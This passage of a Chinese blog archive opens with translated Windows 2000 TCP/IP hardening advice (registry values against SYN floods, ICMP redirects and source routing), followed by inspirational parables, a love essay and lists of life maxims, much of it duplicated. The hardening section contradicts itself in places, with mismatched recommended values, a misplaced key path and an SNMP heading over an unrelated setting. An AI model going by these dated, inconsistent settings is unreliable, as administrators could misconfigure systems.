下列值确定要触发的 SYN 保护的阈值。本部分中的所有项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 中。这些项和值如下所示:
•
值名称:TcpMaxPortsExhausted
建议值: 5
有效值: 0-65535
说明: 指定 TCP 连接请求的阈值,必须超过该阈值才会触发 SYN 洪水保护。
•
值名称:TcpMaxHalfOpen
建议值数据: 500
有效值: 100-65535
说明: 启用 SynAttackProtect 时,该值会指定在 SYN_RCVD 状态下的 TCP 连接的阈值。超过 SynAttackProtect 时,便会触发 SYN 洪水保护。
•
值名称:TcpMaxHalfOpenRetried
建议值数据: 400
有效值: 80-65535
说明: 启用 SynAttackProtect 时,该值指定在 SYN_RCVD 状态下的 TCP 连接的阈值,其中至少已经进行了一次重新传输。超过 SynAttackProtect 时,便会触发 SYN 洪水保护。
设置其他的保护
本部分中的所有项和值都位于注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 中。这些项和值如下所示:
•
值名称:TcpMaxConnectResponseRetransmissions
建议值数据: 2
有效值: 0-255
说明: 对取消尝试响应 SYN 请求之前要重新传输 SYN-ACK 的次数进行控制+。
•
值名称:TcpMaxDataRetransmissions
建议值数据: 2
有效值: 0-65535
说明: 指定 TCP 在中止连接前,要重新传输单独数据片断(而并非连接请求片断)的次数。
•
值名称:EnablePMTUDiscovery
建议值数据: 0
有效值: 0, 1
说明: 将该值设置为 1(默认值)时,便会强制 TCP 在到远程主机的路径上找到最大传输单位或最大数据包大小。攻击者可能会强制数据包分割,造成堆栈负荷过重。将该值设置为 0 会强制不是本地子网的主机连接都使用 576 字节的 MTU。
•
值名称:KeepAliveTime
建议值数据: 300000
有效值: 80-4294967295
说明: 通过发送保持活动数据包,指定 TCP 尝试验证闲置连接是否仍然原封不动的频率。
•
值名称:NoNameReleaseOnDemand
建议值数据: 1
有效值: 0, 1
说明: 当计算机接收到名称释放请求时,指定不要释放计算机的 NetBIOS 名称。
请使用表 1 中总结的值来建立最大保护。
表 1 建议值
值名称 值 (REG_DWORD)
SynAttackProtect
2
TcpMaxPortsExhausted
1
TcpMaxHalfOpen
500
TcpMaxHalfOpenRetried
400
TcpMaxConnectResponseRetransmissions
2
TcpMaxDataRetransmissions
2
EnablePMTUDiscovery
0
KeepAliveTime
300000 (5 minutes)
NoNameReleaseOnDemand
1
返回页首返回页首
防止 ICMP 攻击
本部分中指定的值位于注册表项HKLM\System\CurrentControlSet\Services\AFD\Parameters 下
值:EnableICMPRedirect
建议值数据: 0
有效值: 0(禁用)、1(启用)
说明: 将该注册表值修改为 0 可以防止接收到 ICMP 重定向数据包时,创建代价高昂的主机路由。
请使用表 2 中总结的值来建立最大保护。
表 2 建议值
值名称 值 (REG_DWORD)
EnableICMPRedirect
0
返回页首返回页首
防止 SNMP 攻击
本部分中指定的值位于注册表项HKLM\System\CurrentControlSet\Services\Tcpip\Parameters 下。
值:EnableDeadGWDetect
建议值数据: 0
有效值: 0(禁用)、1(启用)
说明: 防止攻击者强制切换到次要网关
请使用表 3 中总结的值来建立最大保护。
表 3 建议值
值名称 值 (REG_DWORD)
EnableDeadGWDetect
0
返回页首返回页首
AFD.SYS 保护
下列项指定内核模式驱动程序 Afd.sys 的参数。Afd.sys 用于支持 Windows 套接字应用程序。本部分中的所有项和值都位于注册表项 HKLM\System\CurrentControlSet\Services\AFD\Parameters 中。这些项和值如下所示:
•
值:EnableDynamicBacklog
建议值数据: 1
有效值: 0(禁用)、1(启用)
说明: 指定 AFD.SYS 功能来有效抵御大量的 SYN_RCVD 连接。有关详细信息,请参阅“Internet Server Unavailable Because of Malicious SYN Attacks”,位于 http://support.microsoft.com/default.aspx?scid=kb;en-us;142641。
•
值名称:MinimumDynamicBacklog
建议值数据: 20
有效值: 0-4294967295
说明: 指定侦听终结点上允许的可用连接的最小数量。如果可用连接的数目低于该值,线程便会排入队列以创建其他的可用连接。
•
值名称: MaximumDynamicBacklog
建议值数据: 20000
有效值: 0-4294967295
说明: 指定可用连接再加上 SYN_RCVD 状态中的连接的总数的最大值。
•
值名称:DynamicBacklogGrowthDelta
建议值数据: 10
有效值: 0-4294967295
默认为存在: No
说明: 指定需要其他连接时将创建的可用连接数量。
请使用表 4 中所总结的值来建立最大保护。
表 4 建议值
值名称 值 (REG_DWORD)
EnableDynamicBacklog
1
MinimumDynamicBacklog
20
MaximumDynamicBacklog
20000
DynamicBacklogGrowthDelta
10
返回页首返回页首
其他保护
本部分中的所有项和值都位于注册表项 HKLM\System\CurrentControlSet\Services\Tcpip\Parameters 中。
保护筛选的网络详细信息
网络地址转换 (NAT) 用于筛选来自传入连接的网络。攻击者可以使用 IP 源路由来避开该筛选以确定网络拓扑。
值:DisableIPSourceRouting
建议值数据: 1
有效值: 0(转发所有数据包)、1(不转发源路由的数据包)、2(丢弃所有传入源路由的数据包)。
说明: 禁用 IP 源路由,发送方可以利用 IP 源路由来确定数据包通过网络时应该采用的路由。
避免接收分段的数据包
处理分段数据包的代价可能很高。虽然拒绝服务极少来自周边网络的内部,但是该设置可以防止分段数据包的处理。
值:EnableFragmentChecking
建议值数据: 1
有效值: 0(禁用)、1(启用)
说明: 防止 IP 堆栈接受分段的数据包。
不转发送往多主机的数据包
多主机可能会响应多播数据包,进而造成在网络中广泛传播的响应。
值:EnableMulticastForwarding
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 路由服务使用这个参数来控制是否要转发 IP 多播。该参数是由路由和远程访问服务创建的。
只有防火墙在网络间转发数据包
多主服务器不能在所连接的各个网络间转发数据包。防火墙是明显的例外。
值:IPEnableRouter
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 将该参数设置为 1 (true) 可使系统在所连接的各个网络间路由 IP 数据包。
掩码网络拓扑详细信息
使用 ICMP 数据包可以请求主机的子网掩码。公开该信息本身并无大碍;但是,多主机的响应可能会被用于构建内部网络的信息。
值:EnableAddrMaskReply
建议值数据: 0
有效范围: 0 (false)、1 (true)
说明: 该参数控制计算机是否响应 ICMP 地址掩码请求。
请使用表 5 中总结的值来建立最大保护。
表 5 建议值
值名称 值 (REG_DWORD)
DisableIPSourceRouting
1
EnableFragmentChecking
1
EnableMulticastForwarding
0
IPEnableRouter
0
EnableAddrMaskReply
0
返回页首返回页首
缺陷
测试这些值的更改时,请根据您在生产中预期使用的网络卷来进行测试。这些设置会修改被认为是正常的阈值,而且偏离经过测试的默认值。如果各个客户端的连接速度差异很大,那么有些设置可能过于狭隘而无法稳定地支持客户端。
返回页首返回页首
其他资源
有关 TCP/IP 的其他详细信息,请参考下列资源:
•
有关强化 TCP/IP 堆栈的详细信息,请参阅 Microsoft 知识库文章 315669“How To:Harden the TCP/IP Stack Against Denial of Service Attacks in Windows 2000”。
•
有关 Windows 2000 TCP/IP 实现的详细信息,请参阅 Lee Davies 的“Windows 2000 TCP/IP Protocols and Services”(Microsoft Press 书籍)。
•
有关 Windows 2000 TCP/IP 实现的详细信息,请参阅 TechNet 网站上的“Microsoft Windows 2000 TCP/IP Implementation Details”,位于 http://www.microsoft.com/technet/itsolutions/network/deploy/depovg/tcpip2k.asp。
星期一, 九月 13, 2004
九则发人深省的小故事
九则发人深省的小故事
〔小故事1〕
有一个人作了一个梦,梦中他来到一间二层楼的屋子。进到第一层楼时,发现一张长长的
大桌子,桌旁都坐着人,而桌子上摆满了丰盛的佳肴,可是没有一个人能吃得到,因为大
家的手臂受到魔法师咒诅,全都变成直的,手肘不能弯曲,而桌上的美食,夹不到口中,
所以个个愁苦满面。但是他听到楼上却充满了欢愉的笑声,他好奇的上楼一看,
同样的也有一群人,手肘也是不能弯曲,但是大家却吃得兴高彩烈。原来每个人的手臂虽
然不能伸直,但是因为对面的人彼此协助,互相帮助夹菜喂食,结果大家吃得很尽兴。
〔默想〕
没有一个人可以不依靠别人而独立生活,这本是一个需要互相扶持的社会,先主动 伸出友
谊的手,你会发现原来四周有这么多的朋友。在生命的道路上我们更需要和其它的肢体互
相扶持,一起共同成长。
〔小故事2〕
有一个人经过热闹的火车站前,看到一个双腿残障的人摆设铅笔小摊,他漫不经心的丢下
了一百元,当做施舍。但是走了不久,这人又回来了,他抱歉的对这残障者说:「不好意
思,你是一个生意人,我竟然把你当成一个乞丐。」过了一段时间,他再次经过火车站,
一个店家的老板在门口微笑喊住他,「我一直期待你的出现,」那个残障的人说,「你是
第一个把我当成生意人看待的人,你看,我现在是一个真正的生意人了。」
〔默想〕
你怎么看一个人,那人可能就会因你而有所变,你看他是宝贵的,他就是宝贵的。一份的
尊重和爱心,常会产生意想不到的善果,所以朋友们,不妨用心的看待这个世界用心的去
尊重每一个人及自已,你将会发现,自己及周遭的人都有着无穷的潜力。
〔小故事3〕
有位老师进了教室,在白板上点了一个黑点。
他问班上的学生说:「这是什么?」
大家都异口同声说:「一个黑点。」
老师故作惊讶的说:「只有一个黑点吗?这么大的白板大家都没有看见?」
〔默想〕
你看到的是什么?每个人身上都有一些缺点,但是你看到的是那些呢?是否只有看到别人
身上的黑点;却忽略了他拥有了一大片的白板(优点)?其实每个人必定有很多的优点,换
一个角度去看吧!你会有更多新的发现。
〔小故事4〕
有二个妇人在聊天,其中一个问道:「你儿子还好吧?」「别提了,真是不幸哦!」这个
妇人叹息道:「他实在够可怜,娶个媳妇懒的要命,不烧饭、不扫地、不洗衣服、不带孩
子,整天就是睡觉,我儿子还要端早餐到她的床上呢!」「那女儿呢?」「那她可就好命
了。」妇人满脸笑容:「他嫁了一个不错的丈夫,不让他做家事,全部都由先生一手包办
,煮饭、洗衣、扫地、带孩子,而且每天早上还端早点到床上给她吃呢!」
〔默想〕
同样的状况,但是当我们从我的角度去看时,就会产生不同的心态。站在别人的立场看一
看,或换个角度想一想,很多事就不一样了,你可以有更大的包容,也会有更多的爱。
〔小故事5〕
法国一个偏僻的小镇,据传有一个特别灵验的水泉,常会出现神迹,可以医治各种疾病。
有一天,一个柱着拐杖,少了一条腿的退伍军人,一跛一跛的走过镇上的马路。旁边的镇
民带着同情的回吻说:「可怜的家伙,难道他要向上帝请求再有一条腿吗?」这一句话被
退伍的军人听到了,他转过身对他们说:「我不是要向上帝请求有一条新的腿,而是要请
求祂帮助我,教我没有一条腿后,也知道如何过日子。」
〔默想〕
学习为所失去的感恩,也接纳失去的事实,不管人生的得与失,总是要让自已的生命充满
了亮丽与光彩,不再为过去掉泪,努力的活出自己的生命。
〔小故事6〕
在十七世纪,丹麦和瑞典发生战争,一场激烈的战役下来,丹麦打了胜仗,一个丹麦士兵
坐下来,正准备取出壶中的水解渴,突然听到哀啍的声音,原来在不远处躺着一个受了重
伤的瑞典人,正双眼看着他的水壶。
「你的需要比我大。」丹麦士兵走过去,将水壶送到伤者的口中,但是瑞典人竟然伸出长
茅刺向他,幸好偏了一边,只伤到他的手臂。
「嗨!你竟然如此回报我。」丹麦士兵说:「我原来要整壶水给你喝,现在只能给你一半
了。」
这件事后来被国王知道了,特别召见这个丹麦士兵,问他为什么不把那个忘恩负义的家伙
杀掉?他轻松的回答:「我不想杀受伤的人。」
〔默想〕
这个故事看到人性的一面,在别人忘恩负义之后,仍有饶恕的心,这是第二次的饶恕,也
是一种更伟大的情*。
〔小故事7〕
有一个人晚上开着车,经过一个十字路口,这时黄灯已转成红灯,他心想反正没车,于是
加速冲了过去,结果不巧被警察拦了下来,警察问他:「你没看到红灯吗?」「有啊!」
他答。「那你怎么还闯经灯啊?」警察又问。
他说:「因为我没有看到你呀!」
〔默想〕
我们常想在生活中取巧,以为神不知鬼不觉,殊不知我们所做的事是天地皆知,无所隐。
思想一下近日的生活,是否每件事都可以摊在阳光之下,而不再找借口及理由来欺骗自己
将它合理化。
〔小故事8〕
在一个偏远、封闭的小镇只能听到两个电台:第一电台专门广播名人消息、callin节目,
或是热门歌曲排行榜,它的收听率相当高;第二电台则是气象专业电台,它的听众只有一
小群人。一天晚上,气象电台发出紧急警告:一个威力惊人的「龙卷风」将在午夜来袭本
镇,电台呼吁镇民立即疏散他处。这一小群听众立刻组织起来,有的去找镇长,有的到街
上敲锣打鼓,有的打电话给第一电台,请求播出龙卷风消息,好保存身家性命。镇长说:
「本镇从未有过龙卷风,龙卷风的消息是气象电台误报或捏造,为的是提高收听率。」敲
锣打鼓的人则视为疯子。而第一电台则以现场正在访问名人为由,不克插播这一条「生死
存亡」的消息。小镇被夷为平地,后来者没有人知道这块地曾经是一个小镇。
〔默想〕
每一个日子都可能是最后的日子,我们要以敏锐的心过每一天,更要用心的看看这个世界
,用心看看自己,不要把每一件事都视为是理所当然,因为所有的事情都会改变,且看你
如何去衡量他啰。
〔小故事9〕
一个寂寞的人看了一个电话的广告,「有了电话,朋友就来!」于是,他装了一支电话,
希望朋友跟着来。白天他卖力地工作,回家之后就整晚歇斯底里地盯着电话机,心想,他
错过了不少电话。他仍然寂寞,开始为可能漏接的电话而抓狂!一天他从信箱礼抓出录音
机的广告,有了录音机,朋友不『漏接!』录音机装了一个星期后,他就把它退了,空空
的录音机,房间更加寂寞。
〔默想〕
不是有了电话就有了朋友,同样的不是有了金钱就有朋友,存着一颗真诚和主动 热忱的心
,才是重要,当你主动的付出关怀与热情,主动的帮助别人,那么你周遭的人便会因为你
的付出而更加的感谢你,同时你也会拥有更多交心的朋友。
〔小故事1〕
有一个人作了一个梦,梦中他来到一间二层楼的屋子。进到第一层楼时,发现一张长长的
大桌子,桌旁都坐着人,而桌子上摆满了丰盛的佳肴,可是没有一个人能吃得到,因为大
家的手臂受到魔法师咒诅,全都变成直的,手肘不能弯曲,而桌上的美食,夹不到口中,
所以个个愁苦满面。但是他听到楼上却充满了欢愉的笑声,他好奇的上楼一看,
同样的也有一群人,手肘也是不能弯曲,但是大家却吃得兴高彩烈。原来每个人的手臂虽
然不能伸直,但是因为对面的人彼此协助,互相帮助夹菜喂食,结果大家吃得很尽兴。
〔默想〕
没有一个人可以不依靠别人而独立生活,这本是一个需要互相扶持的社会,先主动 伸出友
谊的手,你会发现原来四周有这么多的朋友。在生命的道路上我们更需要和其它的肢体互
相扶持,一起共同成长。
〔小故事2〕
有一个人经过热闹的火车站前,看到一个双腿残障的人摆设铅笔小摊,他漫不经心的丢下
了一百元,当做施舍。但是走了不久,这人又回来了,他抱歉的对这残障者说:「不好意
思,你是一个生意人,我竟然把你当成一个乞丐。」过了一段时间,他再次经过火车站,
一个店家的老板在门口微笑喊住他,「我一直期待你的出现,」那个残障的人说,「你是
第一个把我当成生意人看待的人,你看,我现在是一个真正的生意人了。」
〔默想〕
你怎么看一个人,那人可能就会因你而有所变,你看他是宝贵的,他就是宝贵的。一份的
尊重和爱心,常会产生意想不到的善果,所以朋友们,不妨用心的看待这个世界用心的去
尊重每一个人及自已,你将会发现,自己及周遭的人都有着无穷的潜力。
〔小故事3〕
有位老师进了教室,在白板上点了一个黑点。
他问班上的学生说:「这是什么?」
大家都异口同声说:「一个黑点。」
老师故作惊讶的说:「只有一个黑点吗?这么大的白板大家都没有看见?」
〔默想〕
你看到的是什么?每个人身上都有一些缺点,但是你看到的是那些呢?是否只有看到别人
身上的黑点;却忽略了他拥有了一大片的白板(优点)?其实每个人必定有很多的优点,换
一个角度去看吧!你会有更多新的发现。
〔小故事4〕
有二个妇人在聊天,其中一个问道:「你儿子还好吧?」「别提了,真是不幸哦!」这个
妇人叹息道:「他实在够可怜,娶个媳妇懒的要命,不烧饭、不扫地、不洗衣服、不带孩
子,整天就是睡觉,我儿子还要端早餐到她的床上呢!」「那女儿呢?」「那她可就好命
了。」妇人满脸笑容:「他嫁了一个不错的丈夫,不让他做家事,全部都由先生一手包办
,煮饭、洗衣、扫地、带孩子,而且每天早上还端早点到床上给她吃呢!」
〔默想〕
同样的状况,但是当我们从我的角度去看时,就会产生不同的心态。站在别人的立场看一
看,或换个角度想一想,很多事就不一样了,你可以有更大的包容,也会有更多的爱。
〔小故事5〕
法国一个偏僻的小镇,据传有一个特别灵验的水泉,常会出现神迹,可以医治各种疾病。
有一天,一个柱着拐杖,少了一条腿的退伍军人,一跛一跛的走过镇上的马路。旁边的镇
民带着同情的回吻说:「可怜的家伙,难道他要向上帝请求再有一条腿吗?」这一句话被
退伍的军人听到了,他转过身对他们说:「我不是要向上帝请求有一条新的腿,而是要请
求祂帮助我,教我没有一条腿后,也知道如何过日子。」
〔默想〕
学习为所失去的感恩,也接纳失去的事实,不管人生的得与失,总是要让自已的生命充满
了亮丽与光彩,不再为过去掉泪,努力的活出自己的生命。
〔小故事6〕
在十七世纪,丹麦和瑞典发生战争,一场激烈的战役下来,丹麦打了胜仗,一个丹麦士兵
坐下来,正准备取出壶中的水解渴,突然听到哀啍的声音,原来在不远处躺着一个受了重
伤的瑞典人,正双眼看着他的水壶。
「你的需要比我大。」丹麦士兵走过去,将水壶送到伤者的口中,但是瑞典人竟然伸出长
茅刺向他,幸好偏了一边,只伤到他的手臂。
「嗨!你竟然如此回报我。」丹麦士兵说:「我原来要整壶水给你喝,现在只能给你一半
了。」
这件事后来被国王知道了,特别召见这个丹麦士兵,问他为什么不把那个忘恩负义的家伙
杀掉?他轻松的回答:「我不想杀受伤的人。」
〔默想〕
这个故事看到人性的一面,在别人忘恩负义之后,仍有饶恕的心,这是第二次的饶恕,也
是一种更伟大的情*。
〔小故事7〕
有一个人晚上开着车,经过一个十字路口,这时黄灯已转成红灯,他心想反正没车,于是
加速冲了过去,结果不巧被警察拦了下来,警察问他:「你没看到红灯吗?」「有啊!」
他答。「那你怎么还闯经灯啊?」警察又问。
他说:「因为我没有看到你呀!」
〔默想〕
我们常想在生活中取巧,以为神不知鬼不觉,殊不知我们所做的事是天地皆知,无所隐。
思想一下近日的生活,是否每件事都可以摊在阳光之下,而不再找借口及理由来欺骗自己
将它合理化。
〔小故事8〕
在一个偏远、封闭的小镇只能听到两个电台:第一电台专门广播名人消息、callin节目,
或是热门歌曲排行榜,它的收听率相当高;第二电台则是气象专业电台,它的听众只有一
小群人。一天晚上,气象电台发出紧急警告:一个威力惊人的「龙卷风」将在午夜来袭本
镇,电台呼吁镇民立即疏散他处。这一小群听众立刻组织起来,有的去找镇长,有的到街
上敲锣打鼓,有的打电话给第一电台,请求播出龙卷风消息,好保存身家性命。镇长说:
「本镇从未有过龙卷风,龙卷风的消息是气象电台误报或捏造,为的是提高收听率。」敲
锣打鼓的人则视为疯子。而第一电台则以现场正在访问名人为由,不克插播这一条「生死
存亡」的消息。小镇被夷为平地,后来者没有人知道这块地曾经是一个小镇。
〔默想〕
每一个日子都可能是最后的日子,我们要以敏锐的心过每一天,更要用心的看看这个世界
,用心看看自己,不要把每一件事都视为是理所当然,因为所有的事情都会改变,且看你
如何去衡量他啰。
〔小故事9〕
一个寂寞的人看了一个电话的广告,「有了电话,朋友就来!」于是,他装了一支电话,
希望朋友跟着来。白天他卖力地工作,回家之后就整晚歇斯底里地盯着电话机,心想,他
错过了不少电话。他仍然寂寞,开始为可能漏接的电话而抓狂!一天他从信箱礼抓出录音
机的广告,有了录音机,朋友不『漏接!』录音机装了一个星期后,他就把它退了,空空
的录音机,房间更加寂寞。
〔默想〕
不是有了电话就有了朋友,同样的不是有了金钱就有朋友,存着一颗真诚和主动 热忱的心
,才是重要,当你主动的付出关怀与热情,主动的帮助别人,那么你周遭的人便会因为你
的付出而更加的感谢你,同时你也会拥有更多交心的朋友。
星期六, 九月 11, 2004
爱,要学会放弃
原来,有好多东西并不是你抓住了就属于你,而是必须学会放弃,当你放弃了,它反而能够属于你。
有很多东西,你抓住了它,它就成了你的负担。爱,其实要学会放弃。
有一个登山员在高山上,突然被一块大石头压住了一条腿,而尽他之力却无法移开石头,且旁边也没有一个人能够帮助他。在一条腿和一条生命的抉择中,他选择了放弃他的一条腿,他毅然决然地拿起刀,割下了他的腿,从而使他获救。
也看过另一个登山员的故事,他们俩是结伴而行,其中一个已受伤,另一个背负着他。突然,他们脚底踩空,没有受伤的那个抓住了悬崖边,而受伤的那个已悬空,联系他们俩的只是一根绳子。当上面那个人无法承载两个人的重量时,他们势必坠落悬崖。当在共死与独活的抉择中,他们俩选择了独活,用刀割断了绳子。在他们眼里,生命是可贵的。这并不是自私与无私的区别。
人往往执着于“得到”与“失去”,并不明白,得到也是失去,失去也意味着已得到。
爱一个人,就应该放手让他高飞,任他去实现自己的梦想,是你的,始终会是你的,谁也抢不了。不是你的,强求也没用。
“人往往执着于‘得到’与‘失去’,并不明白,得到也是失去,失去也意味着已得到。”——我明白个中含义,只是实在不能做到。
彼此相爱,却不能厮守到老,注定彼此分开。人世间最痛苦的事莫过于此。
希望时间能治愈这个伤口。
有很多东西,你抓住了它,它就成了你的负担。爱,其实要学会放弃。
有一个登山员在高山上,突然被一块大石头压住了一条腿,而尽他之力却无法移开石头,且旁边也没有一个人能够帮助他。在一条腿和一条生命的抉择中,他选择了放弃他的一条腿,他毅然决然地拿起刀,割下了他的腿,从而使他获救。
也看过另一个登山员的故事,他们俩是结伴而行,其中一个已受伤,另一个背负着他。突然,他们脚底踩空,没有受伤的那个抓住了悬崖边,而受伤的那个已悬空,联系他们俩的只是一根绳子。当上面那个人无法承载两个人的重量时,他们势必坠落悬崖。当在共死与独活的抉择中,他们俩选择了独活,用刀割断了绳子。在他们眼里,生命是可贵的。这并不是自私与无私的区别。
人往往执着于“得到”与“失去”,并不明白,得到也是失去,失去也意味着已得到。
爱一个人,就应该放手让他高飞,任他去实现自己的梦想,是你的,始终会是你的,谁也抢不了。不是你的,强求也没用。
“人往往执着于‘得到’与‘失去’,并不明白,得到也是失去,失去也意味着已得到。”——我明白个中含义,只是实在不能做到。
彼此相爱,却不能厮守到老,注定彼此分开。人世间最痛苦的事莫过于此。
希望时间能治愈这个伤口。
30条定律
1. 如果别人对你缺乏好感,你必须先向人表示好感。
2. 老是认为“自己招人讨厌”,表示你对对方也怀有敌 意。
3. 学历、家庭状况彼此相差无几者,感情极为融洽。
4. 如果想使别人消除心中防线,就要以共同趣味为中心话题谈论。
5. 子女向你要求昂贵的礼物,你可以先买足以取代的东西满足他的小欲求。
6. 长时间的情绪紧张一旦松弛,往往会遗忘物品或做事失败。
7. 必须详细说明发生此事的理由,以免别人感觉不安。
8. 以抽象深奥的言辞讲话,会使对方觉得不安。
9. 假如某人对另一人频频开玩笑,多半表示他对这人怀有反感。
10. 如果对那些对你怀有敌意者所说的玩笑话认真,你将会遭受到意想不到的失败。
11. 嘴里说“我可能做不好”的人,多半深具信心。
12. 接纳别人的迁怒行为,直到他心平气和。
13. 力不及人,则以言语攻击,这也是解除欲求不满的一种手段。
14. 取悦对方,必须先贬后褒。
15. “我看错了你”,这句话会带给对方沉重的打击。
16. 无精打采时,抬头挺胸走路可以振奋精神。
17. 设法使自己精神爽朗,情绪自然愉快。
18. 一面看有关癌症的书籍一面吸烟,可以节省不少香烟。
19. 对某事感到厌恶,往往是因为过去做这件事时曾经发生过不愉快的事。
20. 承认对方某部分的优点,可以让他减轻自卑感。
21. 虽然某人看起来一无是处,你如果针对与之有关的事物加以赞扬,也可以产生鼓励作用。
22. 在团体中,士气与团结力比个人的能力重要。
23. 人际关系过于良好,往往会降低工作效率。
24. 强调某商品的赠品及服务时,也会使人对该商品产生很高的评价。
25. 喜欢看悲剧的人是想将自己的处境作较为有利的评价。
26. 如果你持“人人都有缺点”的想法,就不会太在意自己的小缺点了。
27. 承认自己的缺点,相对地,也会发现自己的优点而产生信心。
28. 努力去发现别人的优点,是获得别人信赖的第一步。
29. 当面指出别人的缺点,有时也可以获得别人的信赖。
30. 当对方改善了性格的某一点时,针对此点加以赞扬,可以博取对方的欢心。
2. 老是认为“自己招人讨厌”,表示你对对方也怀有敌 意。
3. 学历、家庭状况彼此相差无几者,感情极为融洽。
4. 如果想使别人消除心中防线,就要以共同趣味为中心话题谈论。
5. 子女向你要求昂贵的礼物,你可以先买足以取代的东西满足他的小欲求。
6. 长时间的情绪紧张一旦松弛,往往会遗忘物品或做事失败。
7. 必须详细说明发生此事的理由,以免别人感觉不安。
8. 以抽象深奥的言辞讲话,会使对方觉得不安。
9. 假如某人对另一人频频开玩笑,多半表示他对这人怀有反感。
10. 如果对那些对你怀有敌意者所说的玩笑话认真,你将会遭受到意想不到的失败。
11. 嘴里说“我可能做不好”的人,多半深具信心。
12. 接纳别人的迁怒行为,直到他心平气和。
13. 力不及人,则以言语攻击,这也是解除欲求不满的一种手段。
14. 取悦对方,必须先贬后褒。
15. “我看错了你”,这句话会带给对方沉重的打击。
16. 无精打采时,抬头挺胸走路可以振奋精神。
17. 设法使自己精神爽朗,情绪自然愉快。
18. 一面看有关癌症的书籍一面吸烟,可以节省不少香烟。
19. 对某事感到厌恶,往往是因为过去做这件事时曾经发生过不愉快的事。
20. 承认对方某部分的优点,可以让他减轻自卑感。
21. 虽然某人看起来一无是处,你如果针对与之有关的事物加以赞扬,也可以产生鼓励作用。
22. 在团体中,士气与团结力比个人的能力重要。
23. 人际关系过于良好,往往会降低工作效率。
24. 强调某商品的赠品及服务时,也会使人对该商品产生很高的评价。
25. 喜欢看悲剧的人是想将自己的处境作较为有利的评价。
26. 如果你持“人人都有缺点”的想法,就不会太在意自己的小缺点了。
27. 承认自己的缺点,相对地,也会发现自己的优点而产生信心。
28. 努力去发现别人的优点,是获得别人信赖的第一步。
29. 当面指出别人的缺点,有时也可以获得别人的信赖。
30. 当对方改善了性格的某一点时,针对此点加以赞扬,可以博取对方的欢心。
最经典的25句话
1、记住该记住的,忘记该忘记的。改变能改变的,接受不能改变的。
2、能冲刷一切的除了眼泪,就是时间,以时间来推移感情,时间越长,冲突越淡,仿佛不断稀释的茶。
3、怨言是上天得至人类最大的供物,也是人类祷告中最真诚的部分。
4、智慧的代价是矛盾。这是人生对人生观开的玩笑。
5、世上的姑娘总以为自己是骄傲的公主(除了少数极丑和少数极聪明的姑娘例外)。
6、如果敌人让你生气,那说明你还没有胜他的把握。
7、如果朋友让你生气,那说明你仍然在意他的友情。
8、有些事情本身我们无法控制,只好控制自己。
9、我不知道我现在做的哪些是对的,哪些是错的,而当我终于老死的时候我才知道这些。所以,我现在所能做的就是尽力做好每一件事,然后等待着老死。
10、也许有些人很可恶,有些人很卑鄙。而当我设身为他想的时候,我才知道:他比我还可怜。所以,请原谅所有你见过的人,好人或者坏人。
11、鱼对水说:你看不到我的眼泪,因为我在水中;水说:我能感觉到你的眼泪,因为你在我心中。
12、快乐要有悲伤作陪,雨过应该就有天晴。如果雨后还是雨,如果忧伤之后还是忧伤,请让我们从容面对这离别之后的离别。微笑地去寻找一个不可能出现的你。
13、死亡教会人一切,如同考试之后公布的结果------虽然恍然大悟,但为时晚矣!
14、你出生的时候,你在哭,周围的在人笑;你逝去的时候,你在笑,而周围的人在哭!一切都是轮回!我们都在轮回中!
15、男人在结婚前觉得适合自己的女人很少,结婚后觉得适合自己的女人很多。
16、于千万人之中,遇见你所遇见的人;于千万年之中,时间的无涯荒野里,没有早一步,也没有晚一步,刚巧赶上了。
17、每个人都有潜在的能量,只是很容易被习惯所掩盖,被时间所迷离,被惰性所消磨。
18、人生短短几十年,不要给自己留下了什么遗憾,想笑就笑,想哭就哭,该爱的时候就去爱,无谓压抑自己。
19、《和平年代》里的话:当幻想和现实面对时,总是很痛苦的。要么你被痛苦击倒,要么你把痛苦踩在脚下。
20、真正的爱情是不讲究热闹、不讲究排场、不讲究繁华、更不讲究噱头的。
21、生命中,不断地有人离开或进入。于是,看见的,看不见了;记住的,遗忘了。生命中,不断地有得到和失落。于是,看不见的,看见了;遗忘的,记住了。然而,看不见的,是不是就等于不存在?记住的,是不是永远不会消失?
22、我们确实活得艰难,一要承受种种外部的压力,更要面对自己内心的困惑。在苦苦挣扎中,如果有人向你投以理解的目光,你会感到一种生命的暖意,或许仅有短暂的一瞥,就足以使我们感奋不已。
23、我不去想是否能够成功,既然选择了远方,便只顾风雨兼程;我不去想,身后会不会袭来寒风冷雨,既然目标是地平线,留给世界的只能是背影。
24、后悔是一种耗费精神的情绪,后悔是比损失更大的损失,后悔是比错误更大的错误,所以不要后悔。
25、日出东海,日落西山,愁也一天,喜也一天;遇事不钻牛角尖,人也舒坦,心也舒坦。
2、能冲刷一切的除了眼泪,就是时间,以时间来推移感情,时间越长,冲突越淡,仿佛不断稀释的茶。
3、怨言是上天得至人类最大的供物,也是人类祷告中最真诚的部分。
4、智慧的代价是矛盾。这是人生对人生观开的玩笑。
5、世上的姑娘总以为自己是骄傲的公主(除了少数极丑和少数极聪明的姑娘例外)。
6、如果敌人让你生气,那说明你还没有胜他的把握。
7、如果朋友让你生气,那说明你仍然在意他的友情。
8、有些事情本身我们无法控制,只好控制自己。
9、我不知道我现在做的哪些是对的,哪些是错的,而当我终于老死的时候我才知道这些。所以,我现在所能做的就是尽力做好每一件事,然后等待着老死。
10、也许有些人很可恶,有些人很卑鄙。而当我设身为他想的时候,我才知道:他比我还可怜。所以,请原谅所有你见过的人,好人或者坏人。
11、鱼对水说:你看不到我的眼泪,因为我在水中;水说:我能感觉到你的眼泪,因为你在我心中。
12、快乐要有悲伤作陪,雨过应该就有天晴。如果雨后还是雨,如果忧伤之后还是忧伤,请让我们从容面对这离别之后的离别。微笑地去寻找一个不可能出现的你。
13、死亡教会人一切,如同考试之后公布的结果------虽然恍然大悟,但为时晚矣!
14、你出生的时候,你在哭,周围的在人笑;你逝去的时候,你在笑,而周围的人在哭!一切都是轮回!我们都在轮回中!
15、男人在结婚前觉得适合自己的女人很少,结婚后觉得适合自己的女人很多。
16、于千万人之中,遇见你所遇见的人;于千万年之中,时间的无涯荒野里,没有早一步,也没有晚一步,刚巧赶上了。
17、每个人都有潜在的能量,只是很容易被习惯所掩盖,被时间所迷离,被惰性所消磨。
18、人生短短几十年,不要给自己留下了什么遗憾,想笑就笑,想哭就哭,该爱的时候就去爱,无谓压抑自己。
